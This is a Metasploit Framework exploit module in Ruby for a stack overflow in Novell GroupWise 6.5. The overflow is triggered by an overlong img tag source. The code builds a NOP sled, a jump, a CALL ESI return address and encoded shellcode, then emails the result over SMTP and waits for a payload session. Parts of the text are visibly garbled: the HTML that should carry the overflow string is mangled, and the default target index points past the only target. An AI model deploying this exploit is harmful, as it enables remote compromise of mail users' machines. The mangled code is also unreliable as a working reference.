## # $Id: novell_groupwise.rb 4845 2007-12-12 03:14:22Z famato $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'msf/core' module Msf class Exploits::Windows::Email::Novell_groupwise < Msf::Exploit::Remote # # This module sends email messages via smtp # include Exploit::Remote::SMTPDeliver def initialize(info = {}) super(update_info(info, 'Name' => 'Novell Groupwise IMG Tag Overflow', 'Description' => %q{ This module exploits a stack overflow in Novell GroupWise 6.5. This flaw is triggered by img tag src greater than +1000 bytes }, 'License' => MSF_LICENSE, 'Author' => [ # First version 'Francisco Amato [ISR] www.infobyte.com.ar', ], 'Version' => '$Revision: 4845 $', 'References' => [ ['URL', 'http://www.infobyte.com.ar/adv/ISR-16.html'], ], 'Stance' => Msf::Exploit::Stance::Passive, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x2c\x3b\x27\x20" }, 'Platform' => 'win', 'Targets' => [ # #Should work for all Win2000/XP CALL ESI WTWLE61.DLL (Aug 19 1996) [ 'Novell Groupwise 6.5 Universal WIN2000/XP', { 'Ret' => 0x34AA6DEA}] ], 'DisclosureDate' => 'Dec 12 2007', 'DefaultTarget' => 1)) register_options( [ OptString.new('MAILSUBJECT', [false, "The subject of the sent email"]), OptString.new('BODY', [false, "The body of the sent email"]) ], self.class) end def autofilter false end def exploit html ="" html << datastore['BODY'] || rand_text_alphanumeric(rand(128)+1) src = make_nops(204) + "\xEB\x36" #jmp shellcode src << rand_text_alphanumeric(42,payload_badchars) #trash src << [target.ret].pack('V') #call esi src << make_nops(18) + payload.encoded # nops + shellcode html << "

" html << "" msg = Rex::MIME::Message.new msg.mime_defaults msg.subject = datastore['MAILSUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) msg.to = datastore['MAILTO'] msg.from = datastore['MAILFROM'] msg.add_part(Rex::Text.encode_base64(html, "\r\n"), "text/html", "base64", "inline") send_message(msg.to_s) print_status("Waiting for a payload session (backgrounding)...") end end end